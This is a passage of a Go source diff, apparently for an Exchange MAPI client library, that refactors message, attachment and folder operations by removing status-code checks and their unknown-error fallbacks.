bufPtr += p + getMessageResp := RopOpenMessageResponse{} + if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + bufPtr += p - createAttachmentResp := RopCreateAttachmentResponse{} - if p, e = createAttachmentResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p + getAttachmentTblResp := RopGetAttachmentTableResponse{} + if p, e = getAttachmentTblResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + bufPtr += p - propertiesResponse := RopSetPropertiesResponse{} - if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + createAttachmentResp := RopCreateAttachmentResponse{} + if p, e = createAttachmentResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + bufPtr += p - bufPtr += p + propertiesResponse := RopSetPropertiesResponse{} + if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } - saveAttachmentResp := RopSaveChangesAttachmentResponse{} - if p, e = saveAttachmentResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + bufPtr += p - bufPtr += p + saveAttachmentResp := RopSaveChangesAttachmentResponse{} + if p, e = saveAttachmentResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } - saveMessageResponse := RopSaveChangesMessageResponse{} - e = saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) + bufPtr += p - return &createAttachmentResp, e - } + saveMessageResponse := RopSaveChangesMessageResponse{} + e = saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) - return &RopCreateAttachmentResponse{}, ErrUnknown + return &createAttachmentResp, e } @@ -1434,168 +1390,160 @@ func WriteAttachmentProperty(folderid, messageid []byte, attachmentid uint32, pr execResponse, err := sendMapiRequest(execRequest) if err != nil { - utils.Error.Println(err) return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - var p int - var e error + bufPtr := 10 + var p int + var e error - getMessageResp := RopOpenMessageResponse{} - if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - - getAttachmentTblResp := RopGetAttachmentTableResponse{} - if p, e = getAttachmentTblResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p + getMessageResp := RopOpenMessageResponse{} + if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + bufPtr += p - getAttachmentResp := RopOpenAttachmentResponse{} - if p, e = getAttachmentResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + getAttachmentTblResp := RopGetAttachmentTableResponse{} + if p, e = getAttachmentTblResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + bufPtr += p - bufPtr += p + getAttachmentResp := RopOpenAttachmentResponse{} + if p, e = getAttachmentResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } - openStreamResp := RopOpenStreamResponse{} - if p, e = openStreamResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + bufPtr += p - bufPtr += p + openStreamResp := RopOpenStreamResponse{} + if p, e = openStreamResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } - setStreamSizeResp := RopSetStreamSizeResponse{} - if _, e = setStreamSizeResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + bufPtr += p - serverHandles := execResponse.RopBuffer[len(execResponse.RopBuffer)-12:] - //messageHandles := execResponse.RopBuffer[len(execResponse.RopBuffer)-12:] - utils.Debug.Printf("Starting Upload") - //lets split it.. - index := 0 - split := 3000 - piecescnt := len(propData) / split - for kk := 0; kk < piecescnt; kk++ { - utils.Debug.Printf("Writing %d of %d", kk, piecescnt) - var body []byte - if index+split < len(propData) { - body = propData[index : index+split] - } - index += split + setStreamSizeResp := RopSetStreamSizeResponse{} + if _, e = setStreamSizeResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } - execRequest := ExecuteRequest{} - execRequest.Init() + serverHandles := execResponse.RopBuffer[len(execResponse.RopBuffer)-12:] + //messageHandles := execResponse.RopBuffer[len(execResponse.RopBuffer)-12:] + utils.Debug.Printf("Starting Upload") + //lets split it.. + index := 0 + split := 3000 + piecescnt := len(propData) / split + for kk := 0; kk < piecescnt; kk++ { + utils.Debug.Printf("Writing %d of %d", kk, piecescnt) + var body []byte + if index+split < len(propData) { + body = propData[index : index+split] + } + index += split - writeStream := RopWriteStreamRequest{RopID: 0x2D, LogonID: AuthSession.LogonID, InputHandleIndex: 0x03} - writeStream.DataSize = uint16(len(body)) - writeStream.Data = body + execRequest := ExecuteRequest{} + execRequest.Init() - fullReq = writeStream.Marshal() + writeStream := RopWriteStreamRequest{RopID: 0x2D, LogonID: AuthSession.LogonID, InputHandleIndex: 0x03} + writeStream.DataSize = uint16(len(body)) + writeStream.Data = body - execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} // - execRequest.RopBuffer.ROP.ServerObjectHandleTable = append(execRequest.RopBuffer.ROP.ServerObjectHandleTable, []byte{0xFF, 0xFF, 0xFF, 0xFF}...) - execRequest.RopBuffer.ROP.RopsList = fullReq + fullReq = writeStream.Marshal() - _, err := sendMapiRequest(execRequest) + execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} // + execRequest.RopBuffer.ROP.ServerObjectHandleTable = append(execRequest.RopBuffer.ROP.ServerObjectHandleTable, []byte{0xFF, 0xFF, 0xFF, 0xFF}...) + execRequest.RopBuffer.ROP.RopsList = fullReq - if err != nil { - return nil, &TransportError{err} - } + _, err := sendMapiRequest(execRequest) + if err != nil { + return nil, &TransportError{err} } - if len(propData) < split || piecescnt == 0 || len(propData) >= split*piecescnt { - utils.Debug.Printf("Writing final piece %d of %d", piecescnt, piecescnt) - body := propData[index:] - execRequest := ExecuteRequest{} - execRequest.Init() - writeStream := RopWriteStreamRequest{RopID: 0x2D, LogonID: AuthSession.LogonID, InputHandleIndex: 0x03} - writeStream.DataSize = uint16(len(body)) - writeStream.Data = body - fullReq = writeStream.Marshal() + } + if len(propData) < split || piecescnt == 0 || len(propData) >= split*piecescnt { + utils.Debug.Printf("Writing final piece %d of %d", piecescnt, piecescnt) + body := propData[index:] + execRequest := ExecuteRequest{} + execRequest.Init() + writeStream := RopWriteStreamRequest{RopID: 0x2D, LogonID: AuthSession.LogonID, InputHandleIndex: 0x03} + writeStream.DataSize = uint16(len(body)) + writeStream.Data = body - execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} - execRequest.RopBuffer.ROP.ServerObjectHandleTable = append(execRequest.RopBuffer.ROP.ServerObjectHandleTable, []byte{0xFF, 0xFF, 0xFF, 0xFF}...) - execRequest.RopBuffer.ROP.RopsList = fullReq + fullReq = writeStream.Marshal() - _, err := sendMapiRequest(execRequest) + execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} + execRequest.RopBuffer.ROP.ServerObjectHandleTable = append(execRequest.RopBuffer.ROP.ServerObjectHandleTable, []byte{0xFF, 0xFF, 0xFF, 0xFF}...) + execRequest.RopBuffer.ROP.RopsList = fullReq - if err != nil { - return nil, &TransportError{err} - } + _, err := sendMapiRequest(execRequest) + if err != nil { + return nil, &TransportError{err} } - execRequest := ExecuteRequest{} - execRequest.Init() + } - commitStream := RopCommitStreamRequest{RopID: 0x5D, LogonID: AuthSession.LogonID, InputHandleIndex: 0x03} + execRequest = ExecuteRequest{} + execRequest.Init() - fullReq = commitStream.Marshal() + commitStream := RopCommitStreamRequest{RopID: 0x5D, LogonID: AuthSession.LogonID, InputHandleIndex: 0x03} - saveAttachment := RopSaveChangesAttachmentRequest{RopID: 0x25, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, ResponseHandleIndex: 0x02, SaveFlags: 0x0A} - fullReq = append(fullReq, saveAttachment.Marshal()...) + fullReq = commitStream.Marshal() - saveMessage := RopSaveChangesMessageRequest{RopID: 0x0C, LogonID: AuthSession.LogonID} - saveMessage.ResponseHandleIndex = 0x02 - saveMessage.InputHandle = 0x01 - saveMessage.SaveFlags = 0x02 + saveAttachment := RopSaveChangesAttachmentRequest{RopID: 0x25, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, ResponseHandleIndex: 0x02, SaveFlags: 0x0A} + fullReq = append(fullReq, saveAttachment.Marshal()...) - fullReq = append(fullReq, saveMessage.Marshal()...) + saveMessage := RopSaveChangesMessageRequest{RopID: 0x0C, LogonID: AuthSession.LogonID} + saveMessage.ResponseHandleIndex = 0x02 + saveMessage.InputHandle = 0x01 + saveMessage.SaveFlags = 0x02 - ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} - fullReq = append(fullReq, ropRelease.Marshal()...) + fullReq = append(fullReq, saveMessage.Marshal()...) - ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x02} - fullReq = append(fullReq, ropRelease.Marshal()...) + ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + fullReq = append(fullReq, ropRelease.Marshal()...) - ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x03} - fullReq = append(fullReq, ropRelease.Marshal()...) + ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x02} + fullReq = append(fullReq, ropRelease.Marshal()...) - execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} - execRequest.RopBuffer.ROP.ServerObjectHandleTable = append(execRequest.RopBuffer.ROP.ServerObjectHandleTable, []byte{0xFF, 0xFF, 0xFF, 0xFF}...) - execRequest.RopBuffer.ROP.RopsList = fullReq + ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x03} + fullReq = append(fullReq, ropRelease.Marshal()...) - execResponse, err := sendMapiRequest(execRequest) + execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} + execRequest.RopBuffer.ROP.ServerObjectHandleTable = append(execRequest.RopBuffer.ROP.ServerObjectHandleTable, []byte{0xFF, 0xFF, 0xFF, 0xFF}...) + execRequest.RopBuffer.ROP.RopsList = fullReq - if err != nil { - return nil, &TransportError{err} - } + execResponse, err = sendMapiRequest(execRequest) - if execResponse.StatusCode != 255 { - bufPtr := 10 - var p int - var e error + if err != nil { + return nil, &TransportError{err} + } - commitStreamResp := RopCommitStreamResponse{} - if p, e = commitStreamResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - //utils.Debug.Println("Commit Stream: ", commitStreamResp) + bufPtr = 10 - saveAttachmentResp := RopSaveChangesAttachmentResponse{} - if p, e = saveAttachmentResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - //utils.Debug.Println("Save: ", saveAttachmentResp) + commitStreamResp := RopCommitStreamResponse{} + if p, e = commitStreamResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + bufPtr += p + //utils.Debug.Println("Commit Stream: ", commitStreamResp) - saveMessageResponse := RopSaveChangesMessageResponse{} - e = saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) - //utils.Debug.Println("Save: ", saveMessageResponse) + saveAttachmentResp := RopSaveChangesAttachmentResponse{} + if p, e = saveAttachmentResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + bufPtr += p + //utils.Debug.Println("Save: ", saveAttachmentResp) - return &saveAttachmentResp, e - } + saveMessageResponse := RopSaveChangesMessageResponse{} + e = saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) + //utils.Debug.Println("Save: ", saveMessageResponse) + + return &saveAttachmentResp, e - } - return &RopSaveChangesAttachmentResponse{}, ErrUnknown } //SetMessageProperties is used to update the properties of a message @@ -1643,30 +1591,27 @@ func SetMessageProperties(folderid, messageid []byte, propertyTags []TaggedPrope return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - var p int - var e error + bufPtr := 10 + var p int + var e error - getMessageResp := RopOpenMessageResponse{} - if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + getMessageResp := RopOpenMessageResponse{} + if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } - bufPtr += p - propertiesResponse := RopSetPropertiesResponse{} - if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + bufPtr += p + propertiesResponse := RopSetPropertiesResponse{} + if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } - bufPtr += p + bufPtr += p - saveMessageResponse := RopSaveChangesMessageResponse{} - e = saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) + saveMessageResponse := RopSaveChangesMessageResponse{} + e = saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) - return &saveMessageResponse, e - } - return nil, ErrUnknown + return &saveMessageResponse, e } @@ -1700,64 +1645,60 @@ func SetPropertyFast(folderid []byte, messageid []byte, property TaggedPropertyV return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - - //we probably need to get the handles here to pass them down into the ServerObjectHandleTable - serverHandles := execResponse.RopBuffer[len(execResponse.RopBuffer)-8:] - messageHandles := serverHandles - //fmt.Printf("Handles: %x\n", serverHandles) - props := utils.BodyToBytes(property) //setProperties.Marshal() + //we probably need to get the handles here to pass them down into the ServerObjectHandleTable + serverHandles := execResponse.RopBuffer[len(execResponse.RopBuffer)-8:] + messageHandles := serverHandles + //fmt.Printf("Handles: %x\n", serverHandles) + props := utils.BodyToBytes(property) //setProperties.Marshal() - //lets split it.. - index := 0 - split := 9000 - piecescnt := len(props) / split - for kk := 0; kk < piecescnt; kk++ { - var body []byte - if index+split < len(props) { - body = props[index : index+split] - } - index += split - //fmt.Printf("%x\n", body) - execRequest := ExecuteRequest{} - execRequest.Init() - setFast := RopFastTransferDestinationPutBufferRequest{RopID: 0x54, LogonID: AuthSession.LogonID, InputHandle: 0x02, TransferDataSize: uint16(len(body)), TransferData: body} - fullReq := setFast.Marshal() - - execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} // - execRequest.RopBuffer.ROP.ServerObjectHandleTable = append(execRequest.RopBuffer.ROP.ServerObjectHandleTable, []byte{0xFF, 0xFF, 0xFF, 0xFF}...) - execRequest.RopBuffer.ROP.RopsList = fullReq + //lets split it.. + index := 0 + split := 9000 + piecescnt := len(props) / split + for kk := 0; kk < piecescnt; kk++ { + var body []byte + if index+split < len(props) { + body = props[index : index+split] + } + index += split + //fmt.Printf("%x\n", body) + execRequest := ExecuteRequest{} + execRequest.Init() + setFast := RopFastTransferDestinationPutBufferRequest{RopID: 0x54, LogonID: AuthSession.LogonID, InputHandle: 0x02, TransferDataSize: uint16(len(body)), TransferData: body} + fullReq := setFast.Marshal() - execResponse, err := sendMapiRequest(execRequest) + execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} // + execRequest.RopBuffer.ROP.ServerObjectHandleTable = append(execRequest.RopBuffer.ROP.ServerObjectHandleTable, []byte{0xFF, 0xFF, 0xFF, 0xFF}...) + execRequest.RopBuffer.ROP.RopsList = fullReq - if err != nil { - return nil, &TransportError{err} - } + execResponse, err := sendMapiRequest(execRequest) - serverHandles = execResponse.RopBuffer[len(execResponse.RopBuffer)-8:] + if err != nil { + return nil, &TransportError{err} } - if len(props) > split*piecescnt { - body := props[index:] - execRequest := ExecuteRequest{} - execRequest.Init() - setFast := RopFastTransferDestinationPutBufferRequest{RopID: 0x54, LogonID: AuthSession.LogonID, InputHandle: 0x02, TransferDataSize: uint16(len(body)), TransferData: body} - fullReq := setFast.Marshal() - execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} - execRequest.RopBuffer.ROP.ServerObjectHandleTable = append(execRequest.RopBuffer.ROP.ServerObjectHandleTable, []byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}...) - execRequest.RopBuffer.ROP.RopsList = fullReq + serverHandles = execResponse.RopBuffer[len(execResponse.RopBuffer)-8:] + } + if len(props) > split*piecescnt { + body := props[index:] + execRequest := ExecuteRequest{} + execRequest.Init() + setFast := RopFastTransferDestinationPutBufferRequest{RopID: 0x54, LogonID: AuthSession.LogonID, InputHandle: 0x02, TransferDataSize: uint16(len(body)), TransferData: body} + fullReq := setFast.Marshal() - _, err := sendMapiRequest(execRequest) + execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} + execRequest.RopBuffer.ROP.ServerObjectHandleTable = append(execRequest.RopBuffer.ROP.ServerObjectHandleTable, []byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}...) + execRequest.RopBuffer.ROP.RopsList = fullReq - if err != nil { - return nil, &TransportError{err} - } + _, err := sendMapiRequest(execRequest) + if err != nil { + return nil, &TransportError{err} } - return SaveMessageFast(0x01, 0x02, messageHandles) + } + return SaveMessageFast(0x01, 0x02, messageHandles) - return nil, ErrUnknown } //SaveMessageFast uses the RopFastTransfer buffers to save a message @@ -1785,18 +1726,14 @@ func SaveMessageFast(inputHandle, responseHandle byte, serverHandles []byte) (*R return nil, &TransportError{err} } - //fmt.Println("Complete") - if execResponse.StatusCode != 255 { - bufPtr := 10 + bufPtr := 10 - saveMessageResponse := RopSaveChangesMessageResponse{} - if e := saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - return &saveMessageResponse, nil + saveMessageResponse := RopSaveChangesMessageResponse{} + if e := saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } + return &saveMessageResponse, nil - return nil, ErrUnknown } //DeleteMessages is used to delete a message on the exchange server @@ -1833,24 +1770,21 @@ func DeleteMessages(folderid []byte, messageIDCount int, messageIDs []byte) (*Ro return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - openFolder := RopOpenFolderResponse{} - p, err := openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if err != nil { - return nil, err - } - bufPtr += p - deleteMessageResponse := RopDeleteMessagesResponse{} - - if _, e := deleteMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + bufPtr := 10 + openFolder := RopOpenFolderResponse{} + p, err := openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]) + if err != nil { + return nil, err + } + bufPtr += p + deleteMessageResponse := RopDeleteMessagesResponse{} - return &deleteMessageResponse, nil + if _, e := deleteMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } - return nil, ErrUnknown + return &deleteMessageResponse, nil + } func OpenAttachment(folderid, messageid []byte, attachId uint32, columns []PropertyTag) (*RopFastTransferSourceGetBufferResponse, error) { @@ -1900,55 +1834,53 @@ func OpenAttachment(folderid, messageid []byte, attachId uint32, columns []Prope return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - var p int - var e error + bufPtr := 10 + var p int + var e error - getMessageResp := RopOpenMessageResponse{} - if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p + getMessageResp := RopOpenMessageResponse{} + if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + bufPtr += p - getAttachmentTblResp := RopGetAttachmentTableResponse{} - if p, e = getAttachmentTblResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p + getAttachmentTblResp := RopGetAttachmentTableResponse{} + if p, e = getAttachmentTblResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + bufPtr += p - getAttachmentResp := RopOpenAttachmentResponse{} - if p, e = getAttachmentResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + getAttachmentResp := RopOpenAttachmentResponse{} + if p, e = getAttachmentResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } - bufPtr += p + bufPtr += p - props := RopFastTransferSourceCopyPropertiesResponse{} - if p, e = props.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + props := RopFastTransferSourceCopyPropertiesResponse{} + if p, e = props.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } - bufPtr += p + bufPtr += p - pprops := RopFastTransferSourceGetBufferResponse{} - if p, e = pprops.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + pprops := RopFastTransferSourceGetBufferResponse{} + if p, e = pprops.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } - //Rop release if we are done.. otherwise get rest of stream - if pprops.TransferStatus == 0x0001 { - buff, _ := FastTransferFetchStep(execResponse.RopBuffer[bufPtr+p:]) + //Rop release if we are done.. otherwise get rest of stream + if pprops.TransferStatus == 0x0001 { + buff, _ := FastTransferFetchStep(execResponse.RopBuffer[bufPtr+p:]) - if buff != nil { - pprops.TransferBuffer = append(pprops.TransferBuffer, buff...) - } + if buff != nil { + pprops.TransferBuffer = append(pprops.TransferBuffer, buff...) } - - ReleaseObject(0x01) - return &pprops, nil } - return nil, ErrUnknown + + ReleaseObject(0x01) + return &pprops, nil + } //GetAttachments retrieves all the valid attachment IDs for a message @@ -1986,7 +1918,6 @@ func GetAttachments(folderid, messageid []byte) (*RopGetValidAttachmentsResponse return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { bufPtr := 10 var p int var e error @@ -2008,8 +1939,6 @@ func GetAttachments(folderid, messageid []byte) (*RopGetValidAttachmentsResponse return nil, e } return &getAttachmentsResp, nil - } - return nil, ErrUnknown */ } @@ -2044,24 +1973,21 @@ func EmptyFolder(folderid []byte) (*RopEmptyFolderResponse, error) { return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - openFolder := RopOpenFolderResponse{} - p, err := openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if err != nil { - return nil, err - } - bufPtr += p - emptyFolderResponse := RopEmptyFolderResponse{} - - if _, e := emptyFolderResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + bufPtr := 10 + openFolder := RopOpenFolderResponse{} + p, err := openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]) + if err != nil { + return nil, err + } + bufPtr += p + emptyFolderResponse := RopEmptyFolderResponse{} - return &emptyFolderResponse, nil + if _, e := emptyFolderResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } - return nil, ErrUnknown + return &emptyFolderResponse, nil + } //DeleteFolder is used to delete a folder @@ -2085,17 +2011,14 @@ func DeleteFolder(folderid []byte) (*RopDeleteFolderResponse, error) { return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - deleteFolder := RopDeleteFolderResponse{} - if _, e := deleteFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - - return &deleteFolder, nil + bufPtr := 10 + deleteFolderResponse := RopDeleteFolderResponse{} + if _, e := deleteFolderResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } - return nil, ErrUnknown + return &deleteFolderResponse, nil + } //GetFolder for backwards compatibility @@ -2155,28 +2078,24 @@ func GetFolderFromID(folderid []byte, columns []PropertyTag) (*RopOpenFolderResp return nil, nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - openFolder := RopOpenFolderResponse{} - p, e := openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if e != nil { - return nil, nil, e - } - //this should be the handle to the folder - //fmt.Println(execResponse.RopBuffer[len(execResponse.RopBuffer)-4:]) - if columns == nil { - return &openFolder, nil, nil - } - - bufPtr += p - getPropertiesResponse := RopGetPropertiesSpecificResponse{} - _, e = getPropertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:], columns) + bufPtr := 10 + openFolder := RopOpenFolderResponse{} + p, e := openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]) + if e != nil { + return nil, nil, e + } + //this should be the handle to the folder + //fmt.Println(execResponse.RopBuffer[len(execResponse.RopBuffer)-4:]) + if columns == nil { + return &openFolder, nil, nil + } - return &openFolder, &getPropertiesResponse, e + bufPtr += p + getPropertiesResponse := RopGetPropertiesSpecificResponse{} + _, e = getPropertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:], columns) - } + return &openFolder, &getPropertiesResponse, e - return nil, nil, ErrUnknown } //OpenMessage opens and returns a handle to a message @@ -2207,23 +2126,20 @@ func OpenMessage(folderid, messageid []byte) ([]byte, error) { return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - - bufPtr := 10 + bufPtr := 10 - var e error - if execResponse.RopBuffer[bufPtr : bufPtr+1][0] != 0x03 { - bufPtr += 4 - } + var e error + if execResponse.RopBuffer[bufPtr : bufPtr+1][0] != 0x03 { + bufPtr += 4 + } - openMessage := RopOpenMessageResponse{} - if _, e = openMessage.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - //fmt.Printf("%x\n", execResponse.RopBuffer) - return execResponse.RopBuffer[len(execResponse.RopBuffer)-4:], nil + openMessage := RopOpenMessageResponse{} + if _, e = openMessage.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } - return nil, ErrUnknown + //fmt.Printf("%x\n", execResponse.RopBuffer) + return execResponse.RopBuffer[len(execResponse.RopBuffer)-4:], nil + } //GetMessage returns the specific fields from a message @@ -2280,37 +2196,32 @@ func GetMessage(folderid, messageid []byte, columns []PropertyTag) (GetPropertie return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - - bufPtr := 10 - var p int - var e error + bufPtr := 10 + var p int + var e error - //fmt.Println(execResponse.RopBuffer[bufPtr:]) + //fmt.Println(execResponse.RopBuffer[bufPtr:]) - openMessage := RopOpenMessageResponse{} - if p, e = openMessage.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - - if columns != nil { - props := RopGetPropertiesSpecificResponse{} - if _, e = props.Unmarshal(execResponse.RopBuffer[bufPtr:], columns); e != nil { - return nil, e - } - return &props, nil - } + openMessage := RopOpenMessageResponse{} + if p, e = openMessage.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + bufPtr += p - props := RopGetPropertiesAllResponse{} + if columns != nil { + props := RopGetPropertiesSpecificResponse{} if _, e = props.Unmarshal(execResponse.RopBuffer[bufPtr:], columns); e != nil { return nil, e 